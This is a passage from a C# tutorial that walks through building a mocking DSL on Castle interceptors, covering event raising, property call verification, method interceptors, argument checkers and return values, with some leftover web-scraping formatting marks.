        private static Object locker = new Object();
    
        public static void Intercept(IEventRaisingAgent parentMock, 
               IInvocation invocation, HandlerOperation handlerOperation)
        {
            lock(locker)
            {
    
                string rawEventName = invocation.Method.Name;
                string eventName = invocation.Method.Name.Substring(invocation.Method.Name.IndexOf("_") + 1);
    
                switch(handlerOperation)
                {
                    case HandlerOperation.Add:
                        parentMock.AllEventsForProxy.Add(eventName, new EventData(eventName));
                        parentMock.AllEventsForProxy[eventName].AddHandler((Delegate)invocation.Arguments[0]);
                        break;
                    case HandlerOperation.Remove:
                        parentMock.AllEventsForProxy[eventName].RemoveHandler((Delegate)invocation.Arguments[0]);
                        break;
                }
            }
            return;
        }
    }
[/code]

So that is how we have a knowledge of what event callback delegates to
call**.** But how do we actually call them? Well, for that piece of the
puzzle, we need to jump back into the `PropertyInterceptor`, whose most
relevant parts for events are shown here:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    internal class PropertyInterceptor 
    {
        public static void Intercept(IMock parentMock, IInvocation invocation)
        {
    
            List<IInterceptablePropertyData> allPropertiesForProxy = parentMock.AllPropertiesForProxy;
            string invocationPropertyName = invocation.Method.Name.Substring(4);
            invocationPropertyName.Replace("()", "");
    
            List<IInterceptablePropertyData> propertyDataItems = 
               allPropertiesForProxy.Where(x => x.Property.Name == invocationPropertyName).ToList();
    
            if (**!** propertyDataItems.Any())
                throw new InvalidOperationException(string.Format(
                  "Property '{0}' was not found and is needed for this Mock", 
                  invocationPropertyName));
    
            if (propertyDataItems.Count() **!** = 1)
                throw new InvalidOperationException(string.Format(
                  "Property '{0}' was found more than once for this Mock", 
                  invocationPropertyName));
    
            IInterceptablePropertyData propertyData = propertyDataItems.Single();
    
            //Deal with actual method setter call
            if (invocation.Method.Name.StartsWith("set_"))
            {
                //Deal with Events for the method
                propertyData.RaiseEvents();
                    
                ....
                ....
                ....
                ....
            }
    
            ....
            ....
            ....
        }
    }
[/code]

It can be seen that this simply calls the DSL stored
`PropertyData<T>.RaiseEvents()` method for the current property
invocation**.** So all we need to do to complete this wicked web is have a
look at the `PropertyData<T>.RaiseEvents()`, which is as shown below:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    void IInterceptablePropertyData.RaiseEvents()
    {
        foreach (EventWrapper eventWrapper in eventsToRaise)
        {
            eventRaiserHelper.RaiseEvent((IEventRaisingAgent)Mock, 
               eventWrapper.IsCustomEvent, proxy, eventWrapper.Args, eventWrapper.Member);
        }
    }
    
[/code]

Where this calls the `EventHelper.RaiseEvent()` method which looks like this:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    public class EventRaiserHelper<T>
    {
        public void RaiseEvent(IEventRaisingAgent eventRaisingAgent, 
               bool isCustomEvent, object proxy, object[] args, MemberInfo member)
        {
    
            List<object> delegateArgs = new List<object>();
            if (**!** isCustomEvent)
            {
                delegateArgs.Add(proxy);
            }
            delegateArgs.AddRange(args);
    
            if (eventRaisingAgent.AllEventsForProxy.ContainsKey(member.Name))
            {
                foreach (Delegate handler in eventRaisingAgent.AllEventsForProxy[member.Name].InvocationList)
                {
                    handler.Method.Invoke(handler.Target, delegateArgs.ToArray());
                }
            }
        }
    }
[/code]

And that is how the DSL supports raising mocks**.** Easy, right?

### Properties: Verification****

Whilst working with the mock object that this Uber Example DSL builds, it is
not inconceivable that one may want to know how many times a certain property
is called**.** This is called Verification in this Uber example.

Here is the basic idea:

  1. Every time we see a property getter/setter called, we increment an internal counter within the mock object that the DSL represents
  2. At the end of using the mock object created by the DSL \(say in a UnitTest\), we can verify the property

Here is the relevant code from the property builder `PropertyData<T>`:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    internal sealed class PropertyData<T> : IPropertyData<T>, IInterceptablePropertyData, ISupportExceptions
    {
        private int setCallLimit;
        private int setHasBeenCalled;
        private int getCallLimit;
        private int getHasBeenCalled;
    
        public PropertyData()
        {
            ....
            ....
            setHasBeenCalled = 0;
            getHasBeenCalled = 0;
            ....
            ....
        }
    
        int IInterceptablePropertyData.SetHasBeenCalled
        {
            get { return setHasBeenCalled; }
            set { setHasBeenCalled = value; }
        }
    
        int IInterceptablePropertyData.GetHasBeenCalled
        {
            get { return getHasBeenCalled; }
            set { getHasBeenCalled = value; }
        }
    }
[/code]

And here is how the `PropertyInterceptor` parts work that deal with storing
the number of times a property invocation occurs:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    internal class PropertyInterceptor 
    {
        public static void Intercept(IMock parentMock, IInvocation invocation)
        {
    
            List<IInterceptablePropertyData> allPropertiesForProxy = parentMock.AllPropertiesForProxy;
            string invocationPropertyName = invocation.Method.Name.Substring(4);
            invocationPropertyName.Replace("()", "");
    
    
            List<IInterceptablePropertyData> propertyDataItems = 
              allPropertiesForProxy.Where(x => x.Property.Name == invocationPropertyName).ToList();
    
            if (**!** propertyDataItems.Any())
                throw new InvalidOperationException(string.Format(
                  "Property '{0}' was not found and is needed for this Mock", 
                  invocationPropertyName));
    
            if (propertyDataItems.Count() **!** = 1)
                throw new InvalidOperationException(string.Format(
                  "Property '{0}' was found more than once for this Mock", 
                  invocationPropertyName));
    
            IInterceptablePropertyData propertyData = propertyDataItems.Single();
    
            //Deal with actual method setter call
            if (invocation.Method.Name.StartsWith("set_"))
            {
    	    ....
    	    ....
    	    ....
                propertyData.SetHasBeenCalled++;
            }
    
            //Deal with actual method setter call
            if (invocation.Method.Name.StartsWith("get_"))
            {
    	    ....
    	    ....
    	    ....
                propertyData.GetHasBeenCalled++;
            }
    	....
            ....
    	....
    
        }
    }
[/code]

So you can see the process is pretty simple really, we just store the number
of times that we want a property getter/setter called directly on the property
builder, and the `PropertyInterceptor` verifies that the actual number of
getter/setter calls to a particular property is also stored against the
property builder**.**

And here is some user code that deals with how to perform verification using
the DSL:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    //Verify Setter property calls value
    Mock<ITestClass> mockPropCase6 = new Mock<ITestClass>();
    mockPropCase6.SetupProperty(x => x.IntGetSetProperty);
    mockPropCase6.Object.IntGetSetProperty = 10;
    mockPropCase6.Object.IntGetSetProperty = 10;
    mockPropCase6.Object.IntGetSetProperty = 10;
    bool propOk = mockPropCase6.VerifyProperty(x => x.IntGetSetProperty, 
         SimpleMock.Core.Properties.PropertyType.Setter, WasCalled.ThisManyTimes(2));
    string propMsg = propOk **?** "Was called correct number of times" : 
                              "Was NOT called correct number of times";
    Console.WriteLine(propMsg);
    
    //Verify Setter property calls value
    Mock<ITestClass> mockPropCase6b = new Mock<ITestClass>();
    mockPropCase6b.SetupProperty(x => x.IntGetSetProperty).Returns(2);
    int valueOfProp = mockPropCase6b.Object.IntGetSetProperty;
    valueOfProp = mockPropCase6b.Object.IntGetSetProperty;
    valueOfProp = mockPropCase6b.Object.IntGetSetProperty;
    propOk = mockPropCase6b.VerifyProperty(x => x.IntGetSetProperty, 
                 SimpleMock.Core.Properties.PropertyType.Getter, WasCalled.ThisManyTimes(2));
    propMsg = propOk **?** "Was called correct number of times" : 
              "Was NOT called correct number of times";
    Console.WriteLine(propMsg);
[/code]

It can be seen above that we are able to use methods from the `WasCalled`
class to specify the call limit for verification, where the full `WasCalled`
class is as follows:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    public class WasCalled
    {
        public static int Once()
        {
            return 1; 
        }
    
        public static int Never()
        {
            return 0; 
        }
    
        public static int ThisManyTimes(int thisManyTimes)
        {
            return thisManyTimes;
        }
    }
[/code]

The user code shown above calls the overall mock object's `VerifyProperty`
method which looks like this:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    public bool VerifyProperty(Expression<Func<T, Object>> property, PropertyType propertyType, int callLimit)
    {
        PropertyData<T> propertyData = GetPropertyFromExpression(property);
        IInterceptablePropertyData interceptablePropertyData = allPropertiesForProxy.Where(
        	x => x.Property.Name == ((IInterceptablePropertyData)propertyData).Property.Name).SingleOrDefault();
        if (interceptablePropertyData **!** = null)
        {
            bool results = false;
            switch (propertyType)
            {
                case PropertyType.Getter:
                    results = interceptablePropertyData.GetHasBeenCalled <= callLimit;
                    break;
                case PropertyType.Setter:
                    results = interceptablePropertyData.SetHasBeenCalled <= callLimit;
                    break;
    
            }
            return results;
        }
        else
            throw new MockException("There was a problem finding the property you specified");
    }
[/code]

### Properties: Interception****

As I have stated on numerous occasions, I am using Castle Interceptors **.**
For completeness, here is the full listing of the `PropertyInterceptor`:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    internal class PropertyInterceptor 
    {
        public static void Intercept(IMock parentMock, IInvocation invocation)
        {
    
            List<IInterceptablePropertyData> allPropertiesForProxy = parentMock.AllPropertiesForProxy;
            string invocationPropertyName = invocation.Method.Name.Substring(4);
            invocationPropertyName.Replace("()", "");
    
    
            List<IInterceptablePropertyData> propertyDataItems = 
              allPropertiesForProxy.Where(x => x.Property.Name == invocationPropertyName).ToList();
    
            if (**!** propertyDataItems.Any())
                throw new InvalidOperationException(string.Format(
                  "Property '{0}' was not found and is needed for this Mock", 
                  invocationPropertyName));
    
            if (propertyDataItems.Count() **!** = 1)
                throw new InvalidOperationException(string.Format(
                   "Property '{0}' was found more than once for this Mock", 
                   invocationPropertyName));
    
            IInterceptablePropertyData propertyData = propertyDataItems.Single();
    
            //Deal with actual method setter call
            if (invocation.Method.Name.StartsWith("set_"))
            {
                //Deal with Events for the method
                propertyData.RaiseEvents();
    
                    
                //Deal with Exceptions for the property
                ExceptionHelper.ThrowException((ISupportExceptions)propertyData);
    
                propertyData.ReturnValue = invocation.Arguments[0];
                propertyData.SetHasBeenCalled++;
            }
    
            //Deal with actual method setter call
            if (invocation.Method.Name.StartsWith("get_"))
            {
                propertyData.GetHasBeenCalled++;
            }
    
            invocation.ReturnValue = propertyData.ReturnValue;
        }
    }
[/code]

This deals with the following concerns when dealing with properties:

  * Raising any event registered for the property \(if it is a setter\) being invocated
  * Throwing an exception registered for the property \(if it is a setter\) being invocated
  * Maintaining the count of number of times the property getter/setter have been called
  * Returning the requested return value

### Properties: Demonstration****

To illustrate all these features, let's consider the following user DSL code:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    class Program
    {
        static void Main(string[] args)
        {
            #region Property Tests
    
            #region Setup with Return values
            //Setup return value inline
            Mock<ITestClass> mockPropCase1 = new Mock<ITestClass>();
            mockPropCase1.SetupProperty(x => x.IntGetSetProperty, 1);
            Console.WriteLine(string.Format("IntGetSetProperty={0}", 
                              mockPropCase1.Object.IntGetSetProperty));
    
            //Setup return using Returns method
            Mock<ITestClass> mockPropCase2 = new Mock<ITestClass>();
            mockPropCase2.SetupProperty(x => x.IntGetSetProperty).Returns(3);
            Console.WriteLine(string.Format("IntGetSetProperty={0}", 
                              mockPropCase2.Object.IntGetSetProperty));
    
            //Setup return value by directly writing to property value
            Mock<ITestClass> mockPropCase3 = new Mock<ITestClass>();
            mockPropCase3.SetupProperty(x => x.IntGetSetProperty);
            mockPropCase3.Object.IntGetSetProperty = 5;
            Console.WriteLine(string.Format("IntGetSetProperty={0}", 
                              mockPropCase3.Object.IntGetSetProperty));
            #endregion
    
            #region Throw Exception on setter
     
            //Setup which will throw your expected type of Exception/Message on property Setter being called
            Mock<ITestClass> mockPropCase4 = new Mock<ITestClass>();
            mockPropCase4.SetupProperty(x => x.IntGetSetProperty).ThrowsOnSet(
                    new InvalidOperationException("this is from the mock property setter"));
            try
            {
                mockPropCase4.Object.IntGetSetProperty = 5;
            }
            catch (InvalidOperationException ex)
            {
                Console.WriteLine(string.Format("Exception seen**.** Message was : '{0}'", ex.Message));
            }
    
    
            //Setup which will throw your expected type of Exception on property Setter being called
            Mock<ITestClass> mockPropCase4b = new Mock<ITestClass>();
            mockPropCase4b.SetupProperty(x => x.IntGetSetProperty).ThrowsOnSet<InvalidOperationException>();
            try
            {
                mockPropCase4b.Object.IntGetSetProperty = 5;
            }
            catch (InvalidOperationException ex)
            {
                Console.WriteLine(string.Format("Exception seen**.** Message was : '{0}'", ex.Message));
            }
            #endregion
    
            #region Event Raising on Setter
    
            //Setup which raises event when property set
            Mock<ITestClass> mockPropCase5 = new Mock<ITestClass>();
            mockPropCase5.SetupProperty(x => x.IntGetSetProperty).RaiseEventOnSet(x => x.Changed += null, new EventArgs());
            mockPropCase5.Object.Changed += new EventHandler<EventArgs>(Object_Changed);
            mockPropCase5.Object.IntGetSetProperty = 5;
            Console.WriteLine(string.Format("IntGetSetProperty={0}", mockPropCase5.Object.IntGetSetProperty));
    
            //Setup which raises event when property set
            Mock<ITestClass> mockPropCase5b = new Mock<ITestClass>();
            mockPropCase5b.SetupProperty(x => x.IntGetSetProperty).RaiseEventOnSet(x => x.CustomEvent += null, 99, 101);
            mockPropCase5b.Object.CustomEvent += new CustomIntEventHandler(Object_CustomEvent);
            mockPropCase5b.Object.IntGetSetProperty = 5;
            Console.WriteLine(string.Format("IntGetSetProperty={0}", mockPropCase5b.Object.IntGetSetProperty));
    
            #endregion
    
            #region Verification
    
            //Verify Setter property calls value
            Mock<ITestClass> mockPropCase6 = new Mock<ITestClass>();
            mockPropCase6.SetupProperty(x => x.IntGetSetProperty);
            mockPropCase6.Object.IntGetSetProperty = 10;
            mockPropCase6.Object.IntGetSetProperty = 10;
            mockPropCase6.Object.IntGetSetProperty = 10;
            bool propOk = mockPropCase6.VerifyProperty(x => x.IntGetSetProperty, 
                                        SimpleMock.Core.Properties.PropertyType.Setter, 2);
            string propMsg = propOk **?** "Was called correct number of times" : 
                             "Was NOT called correct number of times";
            Console.WriteLine(propMsg);
    
            //Verify Setter property calls value
            Mock<ITestClass> mockPropCase6b = new Mock<ITestClass>();
            mockPropCase6b.SetupProperty(x => x.IntGetSetProperty).Returns(2);
            int valueOfProp = mockPropCase6b.Object.IntGetSetProperty;
            valueOfProp = mockPropCase6b.Object.IntGetSetProperty;
            valueOfProp = mockPropCase6b.Object.IntGetSetProperty;
            propOk = mockPropCase6b.VerifyProperty(x => x.IntGetSetProperty, 
                                    SimpleMock.Core.Properties.PropertyType.Getter, 2);
            propMsg = propOk **?** "Was called correct number of times" : 
                      "Was NOT called correct number of times";
            Console.WriteLine(propMsg);
    
            #endregion
    
            #endregion
    
            Console.ReadLine();
        }
    
        static void Object_CustomEvent(int arg1, int arg2)
        {
            Console.WriteLine(string.Format("Object_CustomEvent called with {0},{1}", arg1, arg2));
        }
    
        static void Object_Changed(object sender, EventArgs e)
        {
            Console.WriteLine(string.Format("Object_Changed called with {0}",e));
        }
    
        static void Object_Changed2(object sender, EventArgs e)
        {
            Console.WriteLine(string.Format("Object_Changed2 called with {0}", e));
        }
    }
[/code]

And let's now look at its output:

## Uber Example: Methods****

Obviously since we are dealing with a DSL for creating mock objects, we are
going to have to provide some way of dealing with setting up methods for our
mock using our DSL**.** But just what sort of thing should we allow for?

Methods can accept values, can accept **only** valid values, and return
values, and can throw Exception\(s\) and also raise events, and can be called
once, twice n-many times of never**.** As such here is what I came up with
that the DSL needs to support for methods:

  * We need a way of setting up what values a method should return
  * We need a way of setting up what values will be passed to the method
  * We need a way of calling back user code when a method is called
  * We need a way that a method should throw an `Exception`
  * We need a way that a method can raise an event 

So that is what our DSL will support**.** Now let's continue to have a look at
how this is achieved**.**

One thing to note is that a lot of the functionality we are going to discuss
for methods is much the same as we previously discussed with properties, the
only difference being that for methods we will be using the following two data
structures instead of the ones we previously used for properties:

  * `MethodData<T>`: The method builder that is used internally to create/store method data inside the semantic model
  * `MethodInterceptor`: The overall interceptor that deals with method level invocation interception

For completeness here is what these two classes look like in their entirety:

**MethodData <T>**

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    internal sealed class MethodData<T> : IMethodData<T>, IInterceptableMethodData, ISupportExceptions
    {
        private List<IArgumentChecker> argumentCheckers;
        private object proxy;
        private object returnValue;
        private ICallbackInvoker callback;
        private MethodInfo method;
        private int callLimit;
        private int hasBeenCalled;
        private List<EventWrapper> eventsToRaise;
        private Exception exceptionToThrow;
        private EventRaiserHelper<T> eventRaiserHelper = new EventRaiserHelper<T>();
     
        public MethodData()
        {
            argumentCheckers = new List<IArgumentChecker>();
            eventsToRaise = new List<EventWrapper>();
            hasBeenCalled = 0;
            exceptionToThrow = null;
        }
    
        public IMock Mock { get; set; }
    
    
        public IMethodData<T> Returns(object returnValue)
        {
            this.returnValue = returnValue;
            return this;
        }
    
        public IMethodData<T> IsCalled(int callLimit)
        {
            this.callLimit = callLimit;
            return this;
        }
    
        public IMethodData<T> WithCallback<T1>(Expression<Action<T1>> callbackDelegate)
        {
            callback = new ActionCallbackInvokerOne<T1>(callbackDelegate);
            return this;
        }
    
        public IMethodData<T> WithCallback<T1, T2>(Expression<Action<T1, T2>> callbackDelegate)
        {
            callback = new ActionCallbackInvokerTwo<T1,T2>(callbackDelegate);
            return this;
        }
    
        public IMethodData<T> WithPropertyBagCallback(Expression<Action<DynamicWrapper>> callbackDelegate)
        {
            callback = new ActionCallbackInvokerDynamic(callbackDelegate);
            return this;
        }
    
        public IMethodData<T> RaiseEvent(Action<T> eventToRaise, EventArgs eventArgs) 
        {
            MemberInfo member = eventRaiserHelper.GetEvent((IEventRaisingAgent)Mock, proxy, eventToRaise);
            eventsToRaise.Add(new EventWrapper(member, new object[] { eventArgs}, false));
            return this;
        }
    
        public IMethodData<T> RaiseEvent(Action<T> eventToRaise, params object[] args)
        {
            MemberInfo member = eventRaiserHelper.GetEvent((IEventRaisingAgent)Mock, proxy, eventToRaise);
            eventsToRaise.Add(new EventWrapper(member, args, true));
            return this;
        }
    
        public IMethodData<T> Throws<TEx>() where TEx : Exception
        {
            exceptionToThrow = (Exception)Activator.CreateInstance<TEx>();
            return this;
        }
    
        public IMethodData<T> Throws(Exception ex)
        {
            exceptionToThrow = ex;
            return this;
        }
    
        #region IInterceptableMethodData members
    
        List<IArgumentChecker> IInterceptableMethodData.ArgumentCheckers
        {
            get { return argumentCheckers; }
            set { argumentCheckers = value; }
        }
    
    
        object IInterceptableMethodData.Proxy
        {
            get { return proxy; }
            set { proxy = value; }
        }
    
        object IInterceptableMethodData.ReturnValue
        {
            get { return returnValue; }
            set { returnValue = value; }
        }
    
        ICallbackInvoker IInterceptableMethodData.Callback
        {
            get { return callback; }
            set { callback = value; }
        }
    
    
        MethodInfo IInterceptableMethodData.Method
        {
            get { return method; }
            set { method = value; }
        }
    
        int IInterceptableMethodData.HasBeenCalled
        {
            get { return hasBeenCalled; }
            set { hasBeenCalled = value; }
        }
    
    
        void IInterceptableMethodData.RaiseEvents()
        {
            foreach (EventWrapper eventWrapper in eventsToRaise)
            {
                eventRaiserHelper.RaiseEvent((IEventRaisingAgent)Mock, 
                  eventWrapper.IsCustomEvent, proxy, eventWrapper.Args, eventWrapper.Member);
            }
        }
    
        #endregion
    
        #region ISupportExceptions members
    
        Exception ISupportExceptions.ExceptionToThrow
        {
            get { return exceptionToThrow; }
            set { exceptionToThrow = value; }
        }
    
    
        bool ISupportExceptions.HasException
        {
            get { return exceptionToThrow **!** = null; }
        }
    
        #endregion
    }
[/code]

#### MethodInterceptor****

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    internal class MethodInterceptor 
    {
        public static void Intercept(IMock parentMock, IInvocation invocation)
        {
            List<IInterceptableMethodData> allMethodsForProxy = parentMock.AllMethodsForProxy;
            List<IInterceptableMethodData> methodDataItems = 
                allMethodsForProxy.Where(x => x.Method.Name == invocation.Method.Name).ToList();
    
            if (**!** methodDataItems.Any())
                throw new InvalidOperationException(string.Format(
                   "Method '{0}' was not found and is needed for this Mock", 
                   invocation.Method.Name));
    
            if (methodDataItems.Count() **!** = 1)
                throw new InvalidOperationException(string.Format(
                   "Method '{0}' was found more than once for this Mock", 
                   invocation.Method.Name));
    
            IInterceptableMethodData methodData = methodDataItems.Single();
    
            //Deal with Exceptions for the method
            ExceptionHelper.ThrowException((ISupportExceptions)methodData);
    
            //Deal with Events for the method
            methodData.RaiseEvents();
    
            //Deal with actual method call
            methodData.HasBeenCalled++; 
    
            //validate using the argument checker
            for (int i = 0; i < invocation.Arguments.Length; i++)
            {
                IArgumentChecker checker = methodData.ArgumentCheckers[i];
                if (**!** checker.CheckArgument(invocation.Arguments[i]))
                {
                    throw new InvalidOperationException(string.Format(
                       "Method '{0}' was called with invalid arguments", 
                       invocation.Method.Name));
                }
            }
    
            //now do the callbacks
            if (methodData.Callback is IIsDynamicallbackInvoker)
            {
    
                ParameterInfo[] methodParams = invocation.Method.GetParameters().ToArray();
                DynamicWrapper wrapper = new DynamicWrapper();
    
                for (int i = 0; i < methodParams.Length; i++)
                {
                    wrapper[methodParams[i].Name] = invocation.Arguments[i];
                }
                methodData.Callback.InvokeCallback(new object[] { wrapper });
            }
            else
            {
                methodData.Callback.InvokeCallback(invocation.Arguments);
            }
    
            invocation.ReturnValue = methodData.ReturnValue;
        }
    }
[/code]

### Methods: How the MethodData<T> Builders are Created****

As most of the concepts for dealing with methods have already been covered by
the concepts we went over for properties, this section will only detail those
parts that are different from the properties we have already seen**.**

One immediate difference is that the mock object that underpins the Uber
Example DSL, has `MethodData<T>` builder objects that are built for dealing
with methods, rather than `PropertyData<T>` which we already saw above, when
dealing with properties**.** So how are these `MethodData<T>` builder objects
created in the first place**?**

Well, it starts with the basic DSL method syntax which is as follows:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    Mock<ITestClass> mockCase4b = new Mock<ITestClass>();
    mockCase4b.Setup(x => x.PrintSomething(It**.** Is<int>((value) => value == 1), It.IsAny<int>()));
    string case4b = mockCase4b.Object.PrintSomething(1, 3);
[/code]

Which uses the following mock code:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    public class Mock<T> : IMock, IEventRaiser<T>, IEventRaisingAgent
    {
        private T proxy;
        private List<IInterceptableMethodData> allMethodsForProxy = new List<IInterceptableMethodData>();
    
        public Mock()
        {
            proxy = CreateProxy<T>();
        }
    
    
        public IMethodData<T> Setup(Expression<Action<T>> method)
        {
            MethodData<T> methodData = GetMethodFromExpression(method.Body);
            ((IInterceptableMethodData)methodData).ArgumentCheckers = 
                 GetArgumentCheckers(methodData, method.ToLambda().ToMethodCall()); ;
            allMethodsForProxy.Add(methodData); 
            return methodData;
        }
    
        public IMethodData<T> Setup(Expression<Func<T, Object>> method)
        {
            MethodData<T> methodData = GetMethodFromExpression(method.Body);
            ((IInterceptableMethodData)methodData).ArgumentCheckers = 
                GetArgumentCheckers(methodData, method.ToLambda().ToMethodCall()); ;
            allMethodsForProxy.Add(methodData); 
            return methodData;
        }
    
        private MethodData<T> GetMethodFromExpression(Expression expr)
        {
            if (expr is MethodCallExpression)
            {
                MethodCallExpression methodCallExpression = expr as MethodCallExpression;
                MethodData<T> methodData = new MethodData<T>();
                ((IInterceptableMethodData)methodData).Proxy = proxy;
                methodData.Mock = this;
                ((IInterceptableMethodData)methodData).Method = methodCallExpression.Method;
                return methodData;
            }
    
            throw new InvalidOperationException("Could not create Setup for this method");
        }
    }
[/code]

Where both the `Setup` methods take an `Expression` which holds the method to
call, which is obtained using the `GetMethodFromExpression` helper method
shown above**.**

Each of the following sub sections make use of these `MethodData<T>` method
builder objects which are returned by the mock Fluent interface that were
obtained using this code**.**

### Methods: Validating Arguments****

One cool thing that we might like to allow in the DSL to do is to specify
argument checkers that can be applied to the method's argument values, such
that when the method is actually called, the method invocation will run
through any argument checker that were initially setup on the mock for the
particular method prior to the method invocation**.** If any of the argument
checkers that were setup in the DSL for the currently invocation fails, an
`InvalidOperationException` is thrown, indicating that an invalid argument was
supplied to the method being invocated**.**

So how does this work? Well, as before, we start by looking at the actual DSL
syntax, which is something like this:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    Mock<ITestClass> mockCase4b = new Mock<ITestClass>();
    mockCase4b.Setup(x => x.PrintSomething(It**.** Is<int>((value) => value == 1), It.IsAny<int>()));
    string case4b = mockCase4b.Object.PrintSomething(1, 3);
[/code]

Where this is a typical argument checker**.**

So how does this work? Well, as before, we start by looking at the actual DSL
syntax, which is something like this:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    It**.** Is<int>((value) => value == 1), It.IsAny<int>()
[/code]

If we look at the `It` class, it may make a bit more sense what is going on
here**.**

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    public class It
    {
        public static T IsAny<T>()
        {
            return default(T);
        }
    
        public static T Is<T>(Predicate<T> pred)
        {
            return default(T);
        }
    }
[/code]

It is a dead simple class, so how do these argument validators get
created**?**

The creation of them actually happens in the `Setup` methods that we saw
earlier within the `Mock` class, where they both end up calling this helper
method that returns a `List<IArgumentChecker>` object which represents the
argument checkers for the method that the DSL is currently building**.**

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    private List<IArgumentChecker> GetArgumentCheckers(MethodData<T> methodData, MethodCallExpression methodCall)
    {
        Expression[] arguments = methodCall.Arguments.ToArray<Expression>();
        List<IArgumentChecker> currentArgumentCheckerSet = new List<IArgumentChecker>();
                
        for (int i = 0; i < arguments.Count(); i++)
    	{
            if (arguments[i] is MethodCallExpression)
            {
    
                IArgumentChecker argumentChecker = ExpressionHelper.GetCheckerFromMethodCallExpression(arguments[i] as MethodCallExpression);
                if (argumentChecker **!** = null)
                {
                    currentArgumentCheckerSet.Add(argumentChecker);
                }
                else
                {
                    throw new InvalidOperationException(string.Format(
                      "You need to supply Constraints for all arguments for Method {0}", 
                      ((IInterceptableMethodData)methodData).Method.Name));
                }
            }
    	}
    
        return currentArgumentCheckerSet;
    }
[/code]

Where this in turn makes use of the following method
`ExpressionHelper.GetCheckerFromMethodCallExpression(..)`:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    public static IArgumentChecker GetCheckerFromMethodCallExpression(MethodCallExpression methodCallExpression)
    {
        List<Type> genericParams = new List<Type>();
        IArgumentChecker argumentChecker=null;
        genericParams = methodCallExpression.Method.GetGenericArguments().ToList();
    
        if (methodCallExpression.Method.DeclaringType == typeof(It))
        {
    
            switch (methodCallExpression.Method.Name)
            {
                case "IsAny":
                    argumentChecker = new IsAnyArgumentChecker(genericParams.First());
                    break;
                case "Is":
                    if (methodCallExpression.Arguments[0] is LambdaExpression)
                    {
                        LambdaExpression lambda = (LambdaExpression)methodCallExpression.Arguments[0];
                        if (lambda **!** = null)
                        {
                            Type[] lambdaGenParams = new Type[] { lambda.Parameters[0].Type };
                            var func = lambda.Compile();
                            var isArgumentCheckerType = typeof(IsArgumentChecker<>).MakeGenericType(lambdaGenParams);
                            argumentChecker = (IArgumentChecker)Activator.CreateInstance(isArgumentCheckerType, new object[] { func });
                        }
                    }
                    break;
    
                default:
                    argumentChecker=null;
                    break;
            }
        }
        return argumentChecker;
    }
[/code]

The end result of this code is that we create one of two possible argument
checkers, we either create a simple `IsAnyArgumentChecker` which is as
follows:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    public class IsAnyArgumentChecker : IArgumentChecker
    {
        private Type typeOfIsAnyArgument;
    
    
        public IsAnyArgumentChecker(Type typeOfIsAnyArgument)
        {
            this.typeOfIsAnyArgument = typeOfIsAnyArgument;
        }
    
        public bool CheckArgument(object argument)
        {
            return argument.GetType().IsAssignableFrom(typeOfIsAnyArgument);
        }
    }
[/code]

Or we create an `IArgumentChecker` that will make use of the original
`Predicate<T>` that was passed into the DSL method builder**.** So now that we
have some ` IArgumentChecker`\(s\) created and associated them with the
`MethodData<T>` method builder, how do these get used to actually do the
validation**?** Well, the answer to that is pretty simple, we simply intercept
any method call and run the arguments passed to the method through the
`List<IArgumentChecker>` associated with the method invocation and see if the
are all valid**.** If they are not, an `InvalidOperationException` is
raised**.** Here are the relevant parts of the `MethodInterceptor`:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    internal class MethodInterceptor 
    {
        public static void Intercept(IMock parentMock, IInvocation invocation)
        {
            List<IInterceptableMethodData> allMethodsForProxy = parentMock.AllMethodsForProxy;
            List<IInterceptableMethodData> methodDataItems = 
               allMethodsForProxy.Where(x => x.Method.Name == invocation.Method.Name).ToList();
    
            if (**!** methodDataItems.Any())
                throw new InvalidOperationException(string.Format(
                   "Method '{0}' was not found and is needed for this Mock", 
                   invocation.Method.Name));
    
            if (methodDataItems.Count() **!** = 1)
                throw new InvalidOperationException(string.Format(
                  "Method '{0}' was found more than once for this Mock", 
                  invocation.Method.Name));
    
            IInterceptableMethodData methodData = methodDataItems.Single();
    	....
    	....
    	....
            //validate using the argument checker
            for (int i = 0; i < invocation.Arguments.Length; i++)
            {
                IArgumentChecker checker = methodData.ArgumentCheckers[i];
                if (**!** checker.CheckArgument(invocation.Arguments[i]))
                {
                    throw new InvalidOperationException(string.Format(
                      "Method '{0}' was called with invalid arguments", invocation.Method.Name));
                }
            }
            ....
            ....
            ....
        }
    }
[/code]

### Methods: Returning Values****

This works much the same as as returning values from properties work, with the
exception that we are dealing with a `MethodData<T>` builder data structure
and a `MethodInterceptor`**.**

Here is an example of how you might configure the DSL to return a value from a
method from user code:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    //use callback with known types
    Mock<ITestClass> mockCase1 = new Mock<ITestClass>();
    mockCase1.Setup(x => x.PrintSomething(It**.** Is<int>((value) => value == 1), It.IsAny<int>()))
        .Returns("HEY IT WORKS");
    string case1 = mockCase1.Object.PrintSomething(1, 3);
[/code]

